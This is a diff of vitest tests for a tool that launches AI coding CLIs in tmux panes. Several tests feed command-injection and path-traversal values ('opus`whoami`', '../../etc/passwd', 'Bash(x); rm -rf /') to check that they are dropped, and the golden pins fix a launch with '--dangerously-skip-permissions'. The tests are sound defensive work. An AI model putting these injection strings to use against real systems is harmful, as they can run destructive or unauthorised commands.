expect(gk({ continueSession: true })).toBe('grok --continue');
|
||||
expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
|
||||
});
|
||||
|
||||
it('never puts a credential on the command line', () => {
|
||||
// grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key
|
||||
// arg in its launch spec and there must never be one: the command line is visible to
|
||||
// every process on the box.
|
||||
const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? '';
|
||||
expect(cmd).not.toContain('key');
|
||||
expect(cmd).not.toContain('token');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deepseek', () => {
|
||||
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
|
||||
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
|
||||
|
||||
it('launches a named profile', () => {
|
||||
expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui');
|
||||
});
|
||||
|
||||
it('prefers an explicit resume id over the bare --resume', () => {
|
||||
expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42');
|
||||
expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume');
|
||||
});
|
||||
|
||||
it('never puts the permission mode on the command line', () => {
|
||||
// dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported
|
||||
// via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the
|
||||
// env-key drop are both looking at the wrong surface.
|
||||
const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? '';
|
||||
expect(cmd).toBe('dsh --profile p');
|
||||
expect(cmd).not.toContain('danger-full-access');
|
||||
expect(cmd).not.toContain('permission');
|
||||
});
|
||||
});
|
||||
|
||||
describe('shell', () => {
|
||||
it('renders no command at all', () => {
|
||||
// `undefined` is the signal to fall back to local login-shell resolution, which varies
|
||||
// per user's /etc/passwd entry and so cannot be templated. An empty string would be a
|
||||
// command, and a wrong one.
|
||||
expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('unsafe values are DROPPED, never escaped into the command', () => {
|
||||
// The hand-written builders silently omitted an argument whose value failed its allowlist,
|
||||
// rather than quoting it through. That is the behaviour being preserved: a rejected value
|
||||
// must not reach the CLI in ANY form, because "quoted but present" still lets a caller
|
||||
// steer the agent (a bogus --model, a traversal path as a session id).
|
||||
it.each([
|
||||
['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'],
|
||||
['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'],
|
||||
[
|
||||
'claude allowedTools',
|
||||
{ mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' },
|
||||
'rm',
|
||||
],
|
||||
])('%s', (_label, extra, forbidden) => {
|
||||
const cmd = claude(extra) ?? '';
|
||||
expect(cmd).not.toContain(forbidden);
|
||||
expect(cmd).not.toContain('`');
|
||||
expect(cmd).not.toContain(';');
|
||||
});
|
||||
|
||||
it('drops an unsafe pi model without falling back to a different one', () => {
|
||||
expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi');
|
||||
});
|
||||
|
||||
it('refuses a deepseek profile that is not a single path segment', () => {
|
||||
// A profile name is joined into a filesystem path as well as a shell line, so `../evil`
|
||||
// has to fail the token pattern rather than be quoted. With no valid name and no default
|
||||
// profile installed, the flag drops out entirely and dsh picks its own.
|
||||
const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? '';
|
||||
expect(cmd).not.toContain('evil');
|
||||
expect(cmd).not.toContain('..');
|
||||
});
|
||||
});
|
||||
@@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => {
|
||||
// Those sessions must keep the pane segmenter. Static, because standing up
|
||||
// a docker/remote session in the unit harness is exactly what the tmux
|
||||
// test-mode mocks exist to avoid.
|
||||
//
|
||||
// The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) —
|
||||
// which reader understands this CLI's on-disk history is exactly the kind of fact the
|
||||
// CLI registry owns. What this test guards is unchanged and is the part that matters:
|
||||
// the two LOCATION exclusions beside it.
|
||||
const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8');
|
||||
expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/);
|
||||
expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/);
|
||||
});
|
||||
|
||||
it('maps the harness lifecycle states onto real hook events', () => {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { DEPENDENCY_REGISTRY } from '../src/config/dependency-registry.js';
|
||||
import { dependencyRegistry } from '../src/config/dependency-registry.js';
|
||||
import {
|
||||
detectEnvironment,
|
||||
extractVersion,
|
||||
@@ -11,41 +11,73 @@ import {
|
||||
import type { ProbeHost } from '../src/utils/dependency-checker.js';
|
||||
import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js';
|
||||
import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js';
|
||||
import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js';
|
||||
import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js';
|
||||
import { enabledClis } from '../src/config/cli-registry/registry.js';
|
||||
|
||||
describe('DEPENDENCY_REGISTRY', () => {
|
||||
describe('dependencyRegistry()', () => {
|
||||
it('has unique ids', () => {
|
||||
const ids = DEPENDENCY_REGISTRY.map((t) => t.id);
|
||||
const ids = dependencyRegistry().map((t) => t.id);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
});
|
||||
|
||||
it('hard-requires only node and tmux; agent CLIs and office are optional', () => {
|
||||
const required = DEPENDENCY_REGISTRY.filter((t) => t.required)
|
||||
const required = dependencyRegistry()
|
||||
.filter((t) => t.required)
|
||||
.map((t) => t.id)
|
||||
.sort();
|
||||
expect(required).toEqual(['node', 'tmux']);
|
||||
// all agent CLIs are optional (Codeman runs any of them)
|
||||
const agentClis = ['claude', 'opencode', 'codex'];
|
||||
expect(DEPENDENCY_REGISTRY.filter((t) => agentClis.includes(t.id)).every((t) => t.required === false)).toBe(true);
|
||||
const office = DEPENDENCY_REGISTRY.filter((t) => t.category === 'office');
|
||||
expect(
|
||||
dependencyRegistry()
|
||||
.filter((t) => agentClis.includes(t.id))
|
||||
.every((t) => t.required === false)
|
||||
).toBe(true);
|
||||
const office = dependencyRegistry().filter((t) => t.category === 'office');
|
||||
expect(office.every((t) => t.required === false)).toBe(true);
|
||||
});
|
||||
|
||||
it('resolves pi through the SAME version rule the run mode uses', () => {
|
||||
// `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not
|
||||
// print semver. If the doctor did not apply the identical rule it would report
|
||||
// "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode
|
||||
// rather than a missing install. One regex, shared, is what keeps them agreeing.
|
||||
const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi');
|
||||
expect(pi).toBeDefined();
|
||||
const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path');
|
||||
it.each([
|
||||
['pi', PI_VERSION_REGEX],
|
||||
['grok', GROK_VERSION_REGEX],
|
||||
['dsh', DEEPSEEK_VERSION_REGEX],
|
||||
])('resolves %s through the SAME version rule the run mode uses', (id, expected) => {
|
||||
// These three have short, generic or squatted binary names, so their resolvers refuse a
|
||||
// binary that does not print the right shape of version. If the doctor did not apply the
|
||||
// identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which
|
||||
// reads as a broken mode rather than a missing install.
|
||||
//
|
||||
// Both sides now read one registry entry, so they cannot drift — but the assertion
|
||||
// compares SOURCE rather than object identity, because the doctor compiles the entry's
|
||||
// serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing
|
||||
// the resolver's own RegExp object.
|
||||
const tool = dependencyRegistry().find((t) => t.id === id);
|
||||
expect(tool).toBeDefined();
|
||||
const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path');
|
||||
expect(spec).toBeDefined();
|
||||
const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean };
|
||||
expect(resolver.requireVersionMatch).toBe(true);
|
||||
expect(resolver.versionRegex).toBe(PI_VERSION_REGEX);
|
||||
expect(resolver.versionRegex?.source).toBe(expected.source);
|
||||
});
|
||||
|
||||
it('keeps a doctor row for every CLI that has a binary to probe', () => {
|
||||
// An earlier draft of the registry refactor silently dropped the grok and dsh rows, so
|
||||
// `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation
|
||||
// from the registry so this cannot pass by being updated to match a shrunken table.
|
||||
const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0);
|
||||
expect(probeable.length).toBeGreaterThanOrEqual(8);
|
||||
for (const cli of probeable) {
|
||||
const bin = cli.discovery.binaries[0];
|
||||
const row = dependencyRegistry().find((t) =>
|
||||
t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin))
|
||||
);
|
||||
expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => {
|
||||
const ms = DEPENDENCY_REGISTRY.find((t) => t.id === 'msoffice');
|
||||
const ms = dependencyRegistry().find((t) => t.id === 'msoffice');
|
||||
expect(ms).toBeDefined();
|
||||
const spec = ms!.resolvers.find((r) => r.resolver.kind === 'windows-side');
|
||||
expect(spec).toBeDefined();
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* @fileoverview Golden pins for the remote/docker LOCATION OVERLAY commands, now that both
|
||||
* are read from `overlays.<location>` on the registry entry rather than from a hardcoded
|
||||
* `Record<…CommandMode, string>` in each file.
|
||||
*
|
||||
* The literals below are transcribed from those two tables as they stood BEFORE the wiring,
|
||||
* which is the whole point: the tables were dead-simple duplicates of registry data with
|
||||
* nothing keeping the two in step, and the way to delete a duplicate safely is to pin what it
|
||||
* produced first. A diff here means an entry's `overlays` (or its first declared binary)
|
||||
* changed what a remote or in-container pane actually runs.
|
||||
*
|
||||
* Note the two arms deliberately NOT read from an entry, each for its own reason: remote
|
||||
* `shell` resolves the REMOTE user's login shell (unknowable from here, hence `$SHELL`), and
|
||||
* docker `shell` is the entry that declares `docker: { disabled: true }` — a container has no
|
||||
* per-user login shell to resolve, so it gets a plain `bash -l`.
|
||||
*
|
||||
* Port: none (pure, over registry data).
|
||||
*/
|
||||
|
||||
import { it, expect } from 'vitest';
|
||||
import { defaultRemoteCommandForMode, remoteLoginShellCommand } from '../src/remote-hosts.js';
|
||||
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
|
||||
const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
|
||||
|
||||
it('pins every remote pane command', () => {
|
||||
const expected: Record<string, string> = {
|
||||
shell: `exec ${REMOTE_LOGIN_SHELL} -i -l`,
|
||||
claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'),
|
||||
opencode: remoteLoginShellCommand('opencode'),
|
||||
codex: remoteLoginShellCommand('codex'),
|
||||
gemini: remoteLoginShellCommand('gemini'),
|
||||
antigravity: remoteLoginShellCommand('agy'),
|
||||
pi: remoteLoginShellCommand('pi'),
|
||||
grok: remoteLoginShellCommand('grok'),
|
||||
deepseek: remoteLoginShellCommand('dsh'),
|
||||
omp: remoteLoginShellCommand('omp'),
|
||||
};
|
||||
for (const [mode, want] of Object.entries(expected)) {
|
||||
expect(defaultRemoteCommandForMode(mode as SessionMode), mode).toBe(want);
|
||||
}
|
||||
expect(defaultRemoteCommandForMode('nope' as SessionMode)).toBe(expected.shell);
|
||||
});
|
||||
|
||||
it('pins every in-container pane command', () => {
|
||||
const expected: Record<string, string> = {
|
||||
shell: 'exec bash -l',
|
||||
claude: 'exec claude --dangerously-skip-permissions',
|
||||
opencode: 'exec opencode',
|
||||
codex: 'exec codex',
|
||||
gemini: 'exec gemini',
|
||||
antigravity: 'exec agy',
|
||||
pi: 'exec pi',
|
||||
grok: 'exec grok',
|
||||
deepseek: 'exec dsh',
|
||||
omp: 'exec omp',
|
||||
};
|
||||
for (const [mode, want] of Object.entries(expected)) {
|
||||
expect(defaultDockerCommandForMode(mode as SessionMode), mode).toBe(want);
|
||||
}
|
||||
expect(defaultDockerCommandForMode('nope' as SessionMode)).toBe('exec bash -l');
|
||||
});
|
||||
Reference in New Issue
Block a user